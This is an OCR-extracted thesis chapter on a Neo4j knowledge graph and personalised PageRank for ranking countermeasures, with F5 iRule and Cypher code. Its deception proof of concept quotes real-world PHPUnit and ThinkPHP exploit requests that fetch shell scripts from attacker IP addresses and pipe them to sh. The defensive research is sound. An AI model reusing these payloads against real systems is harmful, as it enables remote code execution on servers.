CREATE (rep:Reputation{address:"192.168.10."+n,score:toInteger(round(rand()*100))})
-[:REP_SCORE]->(sip:IP {address: "192.168.10."+n})

<-[:SOURCE] - (s:Session {session id: 1000+n})

-[:HTTP_REQUEST]->(req:Request {session id:1000+n,url:"/attackl",name:"Attack 1"})
-[:DECISION]->(res:Response {session id:1000+n})

-[:HTTP_RESPONSE]->(s) )

Listing 4.3: Create Synthetic Sessions for Attack 1 Countermeasure 1

After the creation of nodes and relationships for attack 1 and countermeasure
1 in the synthetic data-set knowledge graph looks like Figure 4.3. The IP nodes
are red, the Session nodes are green, the Request and Response nodes are yellow,
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and the Countermeasure node is purple.

Figure 4.3: Synthetic Data-set Attack 1 Countermeasure 1 Visual

In Listing 4.4 and 4.5 the sessions related to attack one and countermeasure
two and three are created.

After the sessions are created we continue to create the countermeasure suc-
cesses for each of the HTTP requests and the corresponding success weights. The
command executing in Neo4j for creating the part of the data-set is shown in List-
ing 4.6. Note that in our data-set representation we have calculated the average
weight within the same network which has the same success weight bias range.

The corresponding countermeasures two and three are created in Listing 4.7
and 4.8.

When all nodes are created for attack 1 the knowledge graph looks like Figure
4.4.

In addition we connect the Threat 1 and 2 to the HTTP requests created for
Attack 1 and 2. The whole process is repeated for Attack 2 with changes to the
network, session number, and countermeasure success weight range. To give a
representation of this synthetic data we performed a query to show the number
of countermeasures as well as the average of the corresponding success weight.
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FOREACH (n in RANGE(1,25,1) |

CREATE (rep:Reputation{address:"192.168.20."+n,score:toInteger(round(rand()*100))})
-[:REP_SCORE]->(sip:IP {address: "192.168.20."+n})

<-[:SOURCE] - (s:Session {session id: 2000+n})

-[:HTTP_REQUEST]->(req:Request {session id:2000+n,url:"/attackl",name:"Attackl"})
-[:DECISION]->(res:Response {session i1d:2000+n})

-[:HTTP_RESPONSE]->(s) )

Listing 4.4: Create Synthetic Sessions for Attack 1 Countermeasure 2

FOREACH (n in RANGE(1,30,1) | CREATE (rep:Reputation{address:"192.168.30."+n,score:
toInteger(round(rand()*100))})

-[:REP_SCORE]->(sip:IP {address: "192.168.30."+n})

<-[:SOURCE] - (s:Session {session id: 3000+n})

-[:HTTP_REQUEST]->(req:Request {session id:3000+n,url:"/attackl", name:"Attack 1"})

-[:DECISION]->(res:Response {session 1d:3000+n})

-[:HTTP_RESPONSE]->(s) )

Listing 4.5: Create Synthetic Sessions for Attack 1 Countermeasure 3

The same statistics is calculated for Attack 2 by replacing the "attack1" with
"attack2". Table 4.1 compares statistics for the two attacks.

The creation if this data-set is done with different number of successes as
well as success weights. This will support the validity of the knowledge graph
schema in regard of personalised PageRank calculations. The validity of person-
alised PageRank as a support for countermeasure decisions is also made. Keep in
mind that it is natural to quantify success in general as number of successes as
well as individual success weight. Studying the figures we see that attack 1 shows
a number of success preference to countermeasure 3, but a success weight prefer-
ence to countermeasure 1. The question is will the number of successes be prefer-
able compared to the success weight in our calculations. Attack 2 shows an equal
number of successes between counter measure 1 and 2, but the success weights
are different. Our calculations will show the impact for this difference, keeping in
mind implications for a decision model in future research and implementation of
a graph-based decision model.

The experiments are as follows:

e Experiment 1 - Ranking of countermeasures based on attack one
e Experiment 2 - Ranking of countermeasures based on attack one and HTTP

MATCH (sip:IP)--(s:Session)--(req:Request)--(res:Response)

WHERE sip.address CONTAINS "192.168.10."

CREATE (cm:Countermeasure {name:"Countermeasure 1"})

CREATE (req)-[:COUNTERMEASURE TRIGGERED]->(cm) - [:COUNTERMEASURE RESPONS]->(res)
CREATE (req)-[r:COUNTERMEASURE SUCCESS {weight: rand()*2+1.5}1->(cm)

RETURN COUNT(r)

Listing 4.6: Create Synthetic Countermeasure 1 for Attack 1
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MATCH (sip:IP)--(s:Session)--(req:Request)--(res:Response)

WHERE sip.address CONTAINS "192.168.20."

CREATE (cm:Countermeasure {name:"Countermeasure 2"})

CREATE (req)-[:COUNTERMEASURE TRIGGERED]->(cm) - [:COUNTERMEASURE RESPONS]->(res)
CREATE (req)-[r:COUNTERMEASURE SUCCESS {weight: rand()*2+1.0}]1->(cm)

RETURN COUNT(r)

Listing 4.7: Create Synthetic Countermeasure 2 for Attack 1

MATCH (sip:IP)--(s:Session)--(req:Request)--(res:Response)

WHERE sip.address CONTAINS "192.168.30."

CREATE (cm:Countermeasure {name:"Countermeasure 3"})

CREATE (req)-[:COUNTERMEASURE TRIGGERED]->(cm) - [:COUNTERMEASURE RESPONS]->(res)
CREATE (req)-[r:COUNTERMEASURE SUCCESS {weight: rand()*2+0.5}]->(cm)

RETURN COUNT(r)

Listing 4.8: Create Synthetic Countermeasure 2 for Attack 1

user-agent
e Experiment 3 - Ranking of countermeasures based on attack two (unweighted
and weighted)

In summary we have created a synthetic data-set which allow validation of the
knowledge graph schema previously created in this project in regard of personal-
ised PageRank calculations. The data-set also allow our experiment to show some
simple examples how the criteria based personalised PageRank would rank coun-
termeasures accordingly. This is important to take into adversaries with different
TTPs.

4.3.2 Experiment - Countermeasure Experiment

Again we remind the reader that this experiment is only based on synthetic data
and we are making a foundation for further research on real-life data. In the coun-

| Countermeasure | N Successes | Weight Range | Average Weight |

Countermeasure 1 20 rand()*2+1.5 2.336966
Countermeasure 2 25 rand()*2+1.0 1.885578
Countermeasure 3 30 rand()*2+0.5 1.309779

(a) Attack 1 Statistics
Countermeasure | N Successes | Weight Range | Average Weight |

Countermeasure 1 150 rand()*2+1.5 2.5486
Countermeasure 2 150 rand()*2+0.5 1.5214
Countermeasure 3 200 rand()*2+1.0 2.0193

(b) Attack 2 Statistics

Table 4.1: Comparing Attackl and Attack 2 Statistics
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Figure 4.4: Synthetic Data-set Attack 1 Visual

termeasure experiment we assume that a specific HTTP request can be linked to
a specific attack or threat event, as well as deducting a holistic profile of the at-
tacker based on information as in example HTTP header values. When person-
alised PageRank is applied to the knowledge graph on nodes relevant to HTTP
requests and responses, as well has threat information and previous successful
countermeasures, we can calculate a recommendation of plausible countermeas-
ures. The ranking can apply both number of successes as well as weighted suc-
cesses.

The experiments should give the same results as the synthetic data-set stat-
istics if the knowledge graph schema is valid for personalised PageRank calcula-
tions. The basic decision factors are the number of successful countermeasures for
a given attack, and the weighted quality of each attack. The experiment should
also show that results depend on the biased random walk in the personalised
PageRank algorithm. The results we are looking for is the actual ranking of the
countermeasures, and not the PageRank values themselves.
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MATCH (req:Request)-[r:COUNTERMEASURE SUCCESS]->(cm:Countermeasure)
WHERE req.url CONTAINS "attackl"

RETURN cm.name AS Countermeasure, COUNT(r), AVG(r.weight)

ORDER by cm.name

4.3.3 Results for attack 1 experiments

The personalised PageRank calculations are performed in Neo4j as described in
Listing 4.9. The first two lines are used to collect the nodes which serves as bias
nodes in our Pagerank calculations. The collected nodes are then stored in the
variable sourceNodes and used later in the PageRank calculations in line number
9. In this case we use what Neo4j refers to as anonymous graph, which in short
creates an instant graph projection when making the call for PageRank calcula-
tions. This is opposed to named graph projection’s which stays in memory and
can be reused multiple times. In the lines 4 and 5 it’s declared that all nodes and
relationships should be projected into our calculations.

MATCH (req:Request) WHERE req.url CONTAINS "attackl"
WITH collect(req) AS sourceNodes
CALL gds.pageRank.stream({
nodeProjection: "*",
relationshipProjection: "*",
relationshipProperties: {
weight: { property: "weight", aggregation: "NONE", defaultValue: 0.5 }
H
sourceNodes: sourceNodes,
relationshipWeightProperty: "weight"
1)
YIELD nodeld, score
WHERE score > 0 AND gds.util.asNode(nodeId):Countermeasure
RETURN gds.util.asNode(nodeId).name AS name, ROUND(score,8) as “PPR Score”
ORDER BY “PPR Score™ DESC

Listing 4.9: Calculate PPR for Attack 1 Countermeasures

In our calculations we need to project the relationship property weight which
is the countermeasure success weight. In our experiments we tested different rela-
tionship aggregations (line 7), but in our model it is only between the Request and
Countermeasure nodes we have parallel relationships (countermeasure_triggered
and countermeasure_success). There are multiple aggregation options including
SUM, MAX and NONE which are the default value. In our calculations we did not
see any ranking changes with different values for aggregation and defaultValue
but in general we chose to the settings that gave highest difference in ranking
score values for visualization purposes. These values might be of value in a future
implementation if a plausible countermeasure are connected with a relationship
(i.e. countermeasure_valid) as valid countermeasure even if it’s not applied and
monitored yet. Beside this, it is worth mentioning for a future implementation of
this decision framework in case countermeasure relationships indicate different
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states or knowledge between Request nodes and Countermeasure nodes. In line
9 the collected bias nodes in variable sourceNodes are applied to our PageRank
calculations. In the next line the previous defined weight property is applied to
the PageRank calculations. The calculations gives us the node identifier as well
as the individual PageRank score. In our experiments we applied a condition that
we only want the PageRank scores higher than zero and only the nodes labeled
Countermeasure. Applying a Neo4j utility function to the nodeld we collect the ac-
tual node which allow us to show the name of the node. At last, in line 15 results
are ordered by descending order of the PageRank score.

For easier comparison of the results we have added both the synthetic data-set
statistics and the calculated personalised PageRank values in Table 4.2. The data-
set statistics are shown by counting number of successes for each countermeasure
and their average success weight property. Observing Table 4.2a we see that num-
ber of successes would rank the countermeasures from 3, 2, and last 1. In this
case each countermeasure has a success weight that is inverted by the number of
success for studying the effect of this weight in calculating personalised PageR-
ank ranking. In Table 4.2b we observe that the ranking matches the number of
successes and that the success weight is not high enough to counterbalance the
number of successes. The ranking is the same and indicate that the knowledge
graph schema we created are valid for personalised PageRank calculations.

| Countermeasure | N Successes | Average Weight |

Countermeasure 1 20 2.336966
Countermeasure 2 25 1.885578
Countermeasure 3 30 1.309779

(a) Attack 1 Statistics
Countermeasure | Personalised PageRank Score |

Countermeasure 3 4.08251775
Countermeasure 2 3.55608574
Countermeasure 1 2.9530073

(b) Attack 1 Personalised PageRank

Table 4.2: Comparing Attackl Statistics and Personalised PageRank

It is within our experiments to also show that the source node biased version
of PageRank can be applied to criteria that is relevant to the attacker profile as
well. The calculation with the additional criteria of matching HTTP user-agent set
to botnet was done as follows.

Table 4.3 shows the result from personalised PageRank calculations on the
synthetic data-set matching URLs representing attackl and the HTTP user-agent
set to botnet. The intention behind this experiment is to show that additional
criteria can be added in the calculation to get results from a subset of the data-set.
In this case the success weights are supporting the ranking based on number of
successes. It is worth noting that this example can be developed further to use
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MATCH (req:Request) WHERE req.url CONTAINS "attackl"
AND req.http useragent CONTAINS "botnet"
WITH collect(req) AS sourceNodes
CALL gds.pageRank.stream({
nodeProjection: "*",
relationshipProjection: "*",
relationshipProperties: {
weight: { property: "weight", aggregation: "NONE", defaultValue: 0.5 }
}
sourceNodes: sourceNodes,
relationshipWeightProperty: "weight"
1)
YIELD nodeld, score
WHERE score > 0 AND gds.util.asNode(nodeId):Countermeasure
RETURN gds.util.asNode(nodeId).name AS name, ROUND(score,8) as “PRR Score”
ORDER BY “PPR Score DESC

Listing 4.10: Calculate PPR for Attack 1 Botnet Countermeasures

the result of community detection graph algorithms as bias in the personalised
PageRank calculations.

| Countermeasure | N Successes | Average Weight |

Countermeasure 1 4 2.2692
Countermeasure 2 3 1.4664
Countermeasure 3 2 0.7403

(a) Attack 1 Statistics
Countermeasure | Personalised PageRank Score |

Countermeasure 1 0.58847789
Countermeasure 2 0.41692032
Countermeasure 3 0.25666642

(b) Attack 1 Personalised PageRank

Table 4.3: Comparing Botnet Attack] Statistics and Personalised PageRank

In a general decision model we seek to give recommendations for which coun-
termeasure are the most relevant. This opens up for an implementation of an
autonomous decision model to deviate from the ranking if it seems beneficial in
a exploration state of operation.

In summary we can determine from the experiment that the knowledge graph
schema is applicable for personalised PageRank calculations. In other terms the
number of successes is the synthetic data-set is transferable to the personalised
PageRank calculation results. This validates both the knowledge graph schema as
well as our claim that the personalised PageRank has the qualities we look for in
a decision system.
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4.3.4 Results for attack 2 experiments

This section presents the experiment results related to the attack 2 in the syn-
thetic data-set. From earlier we know that two countermeasures have the same
number of successes, and therefore we calculate an unweighted version of person-
alised PageRank first. This will show the correlation between the statistics and the
personalised PageRank calculations. An unweighted version of the calculations is
shown in Listing 4.11. In this case we do not apply the success weight into our
calculations and therefore there are no need to project the weight property in our
relationships either.

MATCH (req:Request) WHERE req.url CONTAINS "attack2"
WITH collect(req) AS sourceNodes
CALL gds.pageRank.stream({

nodeProjection: "*",

relationshipProjection: "*",

sourceNodes: sourceNodes
1)
YIELD nodeld, score
WHERE score > 0 AND gds.util.asNode(nodeId):Countermeasure
RETURN gds.util.asNode(nodeId).name AS Countermeasure,

ROUND(score,8) as “PPR Score”

ORDER BY “PPR Score™ DESC

Listing 4.11: Calculate Unweighted PPR for Attack 2 Countermeasures

Table 4.4 shows the attack 2 statistics compared to the unweighted personal-
ised PageRank calculations.

| Countermeasure | N Successes | Average Weight |

Countermeasure 1 150 2.5486
Countermeasure 2 150 1.5214
Countermeasure 3 200 2.0193

(a) Attack 2 Statistics
Countermeasure | PageRank Score |
Countermeasure 1 17.60947839
Countermeasure 2 17.6094767
Countermeasure 3 11.73963739

(b) Attack 2 Unweighted Personalised PageRank

Table 4.4: Comparing Attack2 Statistics and Unweighted Personalised PageRank

Note that the personalised PageRank score is similar down to five decimals
but not exact. The next calculations will take weight into account.

Table 4.5 shows the attack 2 statistics compared to the weighted personalised
PageRank calculations. It is apparent that the weight is making the difference in
our calculations and rank countermeasure one higher due to the success weight
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MATCH (req:Request) WHERE req.url CONTAINS "attack2"
WITH collect(req) AS sourceNodes
CALL gds.pageRank.stream({
nodeProjection: "*",
relationshipProjection: "*",
relationshipProperties: {
weight: { property: "weight", aggregation: "NONE", defaultValue: 0.5 }
I
sourceNodes: sourceNodes,
relationshipWeightProperty: "weight"
)
YIELD nodeIld, score
WHERE score > 0 AND gds.util.asNode(nodeId):Countermeasure
RETURN gds.util.asNode(nodeId).name AS Countermeasure,
ROUND(score,8) as “PPR Score~
ORDER BY “PPR Score™ DESC

Listing 4.12: Calculate Weighted PPR for Attack 2 Countermeasures

factor. This is important for our concept for an decision model in order to distin-
guish between countermeasures that have an equal number of successes.

| Countermeasure | N Successes | Average Weight |

Countermeasure 1 150 2.5486
Countermeasure 2 150 1.5214
Countermeasure 3 200 2.0193

(a) Attack 2 Statistics
Countermeasure | Personalised PageRank Score |

Countermeasure 1 22.29344922
Countermeasure 2 20.73176588
Countermeasure 3 14.34386639

(b) Attack 2 Weighted Personalised PageRank

Table 4.5: Comparing Attack2 Statistics and Weighted Personalised PageRank

The results both validate the weighted version of the personalised PageRank
algorithm for our knowledge graph schema, and show that success weight can be
applied to strengthen the ranking based on weights.

4.4 Case Study

This section goes through the concept and implementation of our proof of concept
system. There is a one to one mapping between the different iRule events and a
function in the Node.js back-end. The back-end function handles the Neo4j data-
base queries relevant to the client and HTTP state event.

The iRule event CLIENT ACCEPTED is triggered whenever a client has estab-
lished a connection. For TCP connections, this happens when the three-way hand-
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shake successfully completes. The iRule event HTTP_REQUEST is triggered when
the system completely parses the HTTP request headers. This does not include the
HTTP request body. The iRule event HTTP_REQUEST DATA is triggered when the
system has collected the HTTP request body. This is used for gathering the request
body in a HTTP POST request.

4.4.1 iRule Event CLIENT_ACCEPTED

In our implementation we created a corresponding call to the Node.js back-end
for each of the iRule events mentioned here. This means that whenever the CLI-
ENT ACCEPTED event was triggered we call a function in the Node.js back-end
to create the appropriate nodes related to the new connection. In our proof of
concept we applied the current date, source port, destination port and source and
destination IP address as properties defining the Session node. These values were
sent through the function as arguments. The traffic throughput was low enough
that duplicates was not an issue (not more than 65535 connections between the
same IP addresses in one day). From a graph node creation perspective we can al-
ways chose to create a new Session nodes, but when matching the session it would
return duplicates. One possible workaround is to return the unique session node
identifier and store it in a iRule variable. iRules are designed to keep variables
alive for the current network session in F5 Big-IP between iRule events within
the same session. In the same Neo4j query we also made an API call to a OSINT
IP reputation database and added this information into a Reputation node in the
knowledge graph. In our implementation we used IP nodes for both destination
and source and keep them apart with a source and destination relationship. In the
end this function also returned the OSINT reputation score (referred to as fraud
score) for that specific source IP address. The reason behind this is that our sys-
tem could enforce a reputation based control before allowing access to the service
behind our reverse proxy. In addition a future implementation could also apply
countermeasures based on geolocation data (country code). The iRule code imple-
mentation is shown in Listing 4.13. The code contains three parts, first the setting
of connection related variables, then initiating the Node.js back-end system, and
at last the actual back-end function call with connection details as argument. The
result is returned in the variable cresult.

The Node.js function used in case of the CLIENT ACCEPTED event contains
two parts. In the first part we attempt to retrieve the IP reputation score if it exists,
in addition to creating the nodes and relationships related to this connection. In
Listing 4.14 we show the performed database queries.

In the case that there exist no reputation information in the knowledge graph
on the specific source IP address we executes another database query which con-
nections to our OSINT reputation source and retrieve this information through a
API and stores the information in a Reputation node. The reputation score is also
returned in this case and returned to the calling iRule function. This is shown in
Listing 4.15
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when CLIENT_ ACCEPTED {
# Create variables with connection related data
set client_address [getfield [IP::client_addr] "%" 1]
set client port [TCP::remote port]
set server_address [getfield [IP::local_addr] "%" 1]
set server port [TCP::local port]

# Initiate the back-end system
set rpc_handle [ILX::init ilxpe lab0l ilxex_ lab01]

# Lookup IP reputation

if { [catch {set rpc resp [ILX::call $rpc_handle -timeout 3000 ilxmet IPREP
$client address $client port $server address $server port ] } cresult ] } {
log localo.err "ILX IPREP to Node.js RPC Issue: $cresult"
return

} else {
log localo.info "IPREP $client address: $cresult"

}

Listing 4.13: F5 iRule CLIENT ACCEPTED

MATCH (rep:Reputation {address: $source})

MERGE (sip:IP {address: $source})

MERGE (dip:IP {address: $destination})

CREATE(sip)<-[:SOURCE]- (s:Session {
date:date(),source:$source,srcport:toInteger($srcport),
destination:$destination,dstport:toInteger($dstport)})
- [ :DESTINATION]->(dip)

RETURN rep.fraud score AS fraud score

Listing 4.14: CLIENT ACCEPTED Neo4j Match Query

Typically a HTTP_REQUEST will follow and we log the requests by calling the
corresponding Node.js function for creating a Request node in our knowledge
graph with all relevant data as node properties.

4.4.2 iRule Event HTTP_REQUEST

The F5 Big-IP iRule event is triggered when the system has parsed the client HTTP
request header. The HTTP request is crucial both to identify attacks as well as
identifying unique data sent by the client which can help to classify or profile the
attacker.

HTTP host are often used to target different virtual web sites through HTTP
host or server name indication (SNI). This option can also be used in the F5 reverse
proxy to direct the client to the corresponding web service. This also imply that
an autonomous defense system could apply countermeasures when the HTTP host
does not indicate an appropriate production service with less risk of false positives.

The Listing 4.16 shows the implemented iRule code in my proof of concept
system. The iRule code gathers information sent by the client in the HTTP request
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MERGE (sip:IP {address: $source})

MERGE (dip:IP {address:$destination})

CREATE(sip)<-[:SOURCE]- (s:Session {
date: date(),source:$source,srcport:toInteger($srcport),
destination:$destination,dstport:toInteger($dstport)})

- [ :DESTINATION]->(dip)

WITH *

WHERE NOT (sip)<-[:REP_SCORE]-()

MERGE (rep:Reputation {address: sip.address} )-[:REP_SCORE]->(sip)

WITH *

CALL apoc.load.json("https://ipqualityscore.com/api/json/ip/API_KEY REDACTED/"+sip.
address+"?strictness=0&allow public access points=true&fast=false&
lighter penalties=true&mobile=false")

YIELD value

WHERE value.success = true

SET rep.last update = date(),rep += value

RETURN sip.address,rep.fraud score AS fraud score

Listing 4.15: CLIENT ACCEPTED Neo4j Merge Query

and trigger a function call to the Node.js backend.

Another important function for the HTTP_REQUEST iRule event code is to
handle the HTTP POST method by calling a HTTP:collect function that will gather
the HTTP body data and trigger a HTTP_REQUEST DATA iRule event.

The Node.js backend function that handle the HTTP_REQUEST event will store
all relevant information into the HTTP Request node in the Neo4j database. Re-
quest node is also connected to the active Session node created previous by the
triggerd CLIENT ACCEPTED iRule event. Listing 4.17 shows the Neo4j query that
perform these actions.

Further development of the proof of concept could return suggested coun-
termeasures in the return value, and then let the corresponding iRule code send
appropriate response to the client. If there exists no relevant countermeasures ex-
ist it is natural that the client connection is transparently connected to either a
relevant production or honeypot service.

4.4.3 iRule Event HTTP_REQUEST_DATA

This iRule event is triggered after an call to the HTTP::collect function that gath-
ers all HTTP request body in the case of an HTTP POST request. In the knowledge
graph this information will be added to the respective HTTP Request node. The
Listing 4.18 shows the implemented code in the iRule for the HTTP_REQUEST DATA
event.

The Listing 4.19 shows the Neo4j query used to lookup the appropriate HTTP
Request node and add a http_payload property to the Request node.

It is also possible that this function call to the Node.js back-end also returns
countermeasure suggestions that can be sent to the client by the iRule code.
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when HTTP_REQUEST {

# Set some basic HTTP request variables
set http host [HTTP::host]

set http method [HTTP::method]

set http uri [HTTP::uri]

# Gather HTTP header fields
set header_values {}
foreach header name [HTTP::header names] {
lappend header values [HTTP::header value $header namel

}

# Make the call to the Node.js backend
if { [catch {set rpc _resp [ILX::call $rpc_handle -timeout 3000
ilxmet LTM DBLOG REQUEST $client address $client port $server address
$server _port $http method $http host [HTTP::uri] [HTTP::header names]
$header values ] } cresult ] } {
log local@.err "ILX to Node.js RPC Issue: $cresult"
return

}

if {[HTTP::method] eq "POST"} {
if {[HTTP::header "Content-Length"] ne "" && [HTTP::header "Content-Length
"] <= 1048576} {
set content length [HTTP::header "Content-Length"]
} else {
set content length 1048576
}
if { $content length > 0} {
HTTP: :collect $content length
}
}

pool devnull https

Listing 4.16: F5 iRule HTTP_REQUEST

4.4.4 iRule Event HTTP_RESPONSE

This iRule event is triggered when the system has parsed all response data from
the service behind the reverse proxy. The Listing 4.20 shows the iRule code im-
plemented for this event.

The Listing 4.21 shows the Neo4j query executed by the Node.js back-end
when triggered by the iRule event HTTP_RESPONSE.

The Neo4j query will create a Response node and connect this node to both
the Request and Session node.

4.4.5 Countermeasure Example One

My proof of concept at it’s current state primarily logs client connection to a Neo4;j
database (knowledge graph). In order to show an example on how threat counter-




Chapter 4: Experiments and Results 53

MATCH (s:Session {date:date(),source:$source,srcport:toInteger($srcport),
destination:$destination,dstport:toInteger($dstport)})

CREATE (s)-[:HTTP_REQUEST {timestamp: localdatetime()}]->
(req:Request {date: date(),source: $source,srcport: toInteger($srcport),
destination: $destination,dstport: toInteger($dstport),http method: $method,
http host: $host,url: $uri,
header _names: $header_names,header values: $header values })

SET req +=apoc.map.fromLists($header names, $header values)

RETURN *

Listing 4.17: HTTP_REQUEST Neo4j

when HTTP_REQUEST DATA {
set post payload [HTTP::payload]

if { $post payload ne "" } {
log localo.info "REQUEST_DATA CALLING DBLOG PAYLOAD"
if { [catch {set rpc resp [ILX::call $rpc _handle -timeout 3000
ilxmet_DBLOG_PAYLOAD $client_address $client_port $server address
$server _port $http method $http host $http uri $post payload ] }
cresult 1 } {
log local®.err "REQUEST DATA ILX to Node.js RPC Issue: $cresult"

Listing 4.18: F5 iRule HTTP_ REQUEST DATA

measures could work we show here an vulnerability [41] example in PHP scripts
which allows execution of commands. The attacker in this case first performs a
vulnerability reconnaissance to verify the existence of the vulnerability. The fol-
lowing example shows a specific reconnaissance seen in the wild. If the execution
of the md5("phpunit") is successful, the MD5 hash value of the text phpunit is
returned to the client.

The following iRule TCL code was applied to trigger a potential next phase of
an attack. The code is simply checking if the URL ends with .php and if the POST
body contains the text md5. In this case the system will return a HTTP status 200

MATCH (req:Request {
date: date(),source: $source,srcport: toInteger($srcport),
destination: $destination,dstport: toInteger($dstport),
http_method: $http method,http host: $http host,url: $url

)]

SET req.http payload = $http payload

RETURN count(req)

Listing 4.19: HTTP_REQUEST DATA Neo4j
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when HTTP_RESPONSE {

if { [catch {set rpc_resp [ILX::call $rpc_handle -timeout 3000
ilxmet DBLOG RESPONSE $client address $client port $server address
$server _port [HTTP::status] ] } cresult ] } {
log local@.err "ILX to Node.js RPC Issue: $cresult"
return

Listing 4.20: F5 iRule HTTP_ RESPONSE

MATCH (s:Session {
date:date(),source:$source,srcport:toInteger($srcport),
destination:$destination,dstport:toInteger($dstport)})
-[:HTTP_REQUEST] ->
(req:Request {date: date(),source: $source,srcport: toInteger($srcport),

destination: $destination,dstport: toInteger($dstport)})

MERGE (res:Response {
date:date(),source: $source,srcport: toInteger($srcport),
destination: $destination,dstport: toInteger($dstport),
http status: toInteger($http status) })

MERGE (req) - [ :DECISION]->(res)

MERGE (res) - [ :HTTP_RESPONSE]->(s)

RETURN *

Listing 4.21: HTTP_RESPONSE Neo4;j

and return the content that represent the hash value of the text phpunit. Note that
this implementation is not generic in regard of handling random MD5 function
arguments.

Already the same day an attacker had discovered the vulnerability counter-
measure and we got a new weaponized attack response in our system. In the List-
ing 4.24 the attacker attempts to download a malicious shell script and execute
it.

We downloaded and performed a basic analysis of the script that the attacker
attempted to download and execute. By applying this simple countermeasure we
had the opportunity to reveal more of the hackers infrastructure and methodology.
Naturally an implementation of this system would monitor and store successful
countermeasures in the knowledge graph, according to our previous knowledge
graph schema and synthetic data-set. In our countermeasure proof of concept we
also applied this countermeasure to all incoming reconnaissance, in some cases it
would make more sense to leak this information to selective adversaries.

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
<?=md5 ("phpunit")?>

Listing 4.22: Proof of Concept - Reconnaissance 1
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if { ([HTTP::path] ends with ".php") and ($post payload contains "md5") } {
HTTP::respond 200 content "85af727fd022d3al3e7972fd6a418582"
}

Listing 4.23: Proof of Concept - Countermeasure Code 1

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
<?=shell_exec("wget -q -0 - 194.38.20.199/p.sh|sh")?>

Listing 4.24: Proof of Concept - Attack 1

The example countermeasure of falsely informing attackers of a vulnerable
system is just one example, there are many other options in regard of counter-
measures. For instance, one could return a HTTP status of 403 (Forbidden) with
the content of UnAuthorized due to bad IP reputation, or Unauthorized Geolocation.
The first would lead the attacker to use different source IP addresses in order to
bypass the restriction, and the latter would encourage the attacker to attempt
different geolocations (countries).

4.4.6 Countermeasure Example Two

In our research we also attempted a second type of countermeasure in order to
strengthen the value of counterintelligence and real-time decision systems. Much
like the first example the attacker performs a vulnerability reconnaissance by de-
tecting execution opportunities by attempting a MD5 calculation. In this case the
vulnerability [42] was executed through a HTTP GET request as shown in Listing
4.25.

GET /?s=/Index/\think\app/invokefunction\&function=call user func_array\&
vars[0]=md5\&vars[1][]= HelloThinkPHP

Listing 4.25: Proof of Concept - Reconnaissance 2

The executed command is also in this example md5 and the second argument
is the value to calculate the MD5 checksum on. This argument will typically be
changed by different attacker campaigns in order to validate the legitimacy of the
result.

In our countermeasure proof of concept implementation we used the F5 iRule
code in Listing 4.26. The code will calculate the MD5 checksum of the argument
and return the appropriate value to the attacker.

Within a day we saw a response to the attempted countermeasure. Later in
our project we interestingly also observed that the IP reputation score of later
exploitation attempts came from IP addresses with a zero IP reputation score.
This indicate that the IP address does not have any record of historical malicious
activity, which could indicate that the system acquired new threat intelligence.
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if { ($http_method eq "GET") and ( $http uri contains {vars[0]=md5&vars[1][]1=} ) }
{
binary scan [md5 [getfield $http uri "=" 5]] H* hash
HTTP: :respond 200 content $hash

Listing 4.26: Proof of Concept - Countermeasure Code 2

The Listing 4.27 shows the malicious attempt to download and execute code.

GET /?s=/Index/\think\app/invokefunction&function=call _user_ func_array&
vars[0]=shell exec&
vars[1l][]=curl --user-agent tp5 http://194.145.227.21/1dr.sh|sh

Listing 4.27: Proof of Concept Attack 2

In order to give some perspective we made some queries in our knowledge
graph to see the correlation between performed vulnerability reconnaissance and
executed attacks. In other words we looked for source IP addresses which first
had performed a reconnaissance, then later executed an attack from the same IP
address. The Neo4j query we performed for this task is shown in Listing 4.28.
Without going into too much detail we first found HTTP requests matching the
reconnaissance stage of the attack for a given IP address, and then based on prop-
erties from the first query we found HTTP requests matching the next stage of the
attack which attempt to infect the target with malicious code.

MATCH (rep:Reputation)--(sip:IP)--(s:Session)-[r:HTTP_REQUEST]- (req:Request)

WHERE req.http method = "GET" AND req.url CONTAINS "vars[0]=md5"

MATCH (sip)--(s2:Session)-[r2:HTTP_REQUEST]- (req2:Request)

WHERE req2.http method = "GET" AND reqg2.url CONTAINS "vars[0@]=shell exec"

RETURN DISTINCT rep.country code AS Country,rep.ISP AS ISP,sip.address AS Source,
rep.fraud score AS “Fraud Score™,apoc.text.urldecode(split(reqg2.url,"=")[4]) AS
Command

ORDER BY Source

Listing 4.28: Neo4j Query - Comparing Reconnaissance and Attack

Redacted information from the knowledge graph query in Listing 4.28 is shown
in Table 4.6. The fraud score is from the OSINT reputation database from ipqual-
ityscore.com. A higher score is a more confident result of malicious activity.

We know from experience that attackers also distribute their information between
themselves or use different infrastructure in different phases of an attack. There-
fore we also made a query to our knowledge graph on the same attacks but not
dependent on the previous reconnaissance.

In Table 4.7 we show the attacks that did not perform any reconnaissance in
advance. This means the sources of attacks from previous query was removed in
this table.
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| Country | ISP | Fraud Score |
China China Telecom Shanghai 82
Singapore Digital Ocean 100
USA Digital Ocean 100

Table 4.6: Reconnaissance and Attack

MATCH (rep:Reputation)--(sip:IP)--(s:Session)--(req:Request)

WHERE req.url CONTAINS "vars[@]=shell exec"

RETURN DISTINCT rep.country code as Country,rep.ISP AS ISP,sip.address AS Source,
rep.fraud score AS “Fraud Score”,apoc.text.urldecode(split(req.url,"=")[4]) AS
Command

Listing 4.29: Attacks Without Reconnaissance

We can see that there are indications that other malicious entities has received
the knowledge of a vulnerable target besides the entities that performed the recon-
naissance. There are also indications that some infrastructure is shared or meth-
odology is shared. A summary of the attacks we have seen so far is listed in the
Table 4.8.

It is interesting to see that the attackers will actually set the User-Agent in
their callback to their infrastructure for downloading the malicious shell script.
This could indicate that there are some tracking or implicit authentication done
on the hackers infrastructure. In the perspective of an autonomous threat and
counterintelligence defense platform it is necessary to take these factors into con-
sideration.

We downloaded the performed a basic analysis of the script the attacker at-
tempted to download and execute. This revealed more about the infrastructure
and tactics of the attacker, but this is outside of the scope of this project. Our main
goal for this proof of concept implementation was to push forward the validity of
the previous knowledge graph schema, and validate the implementation in a real-
life platform. The Big-IP reverse proxy delivered a promising platform for further
implementation and research of the conceptual real-time decision system.

4.4.7 Countermeasure in knowledge graph

In our early attempt to demonstrate possible countermeasures we coded this into
the iRule script, but this should naturally be implemented in the Neo4j knowledge

| Country | ISP | Fraud Score |
Russia | Datacenter Yekaterinburg 87
Russia Comfortel Ltd 100

Table 4.7: Attacks Without Reconnaissance
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| Command |

curl —user-agent _tp5 http://194.145.227.21/1dr.sh|sh

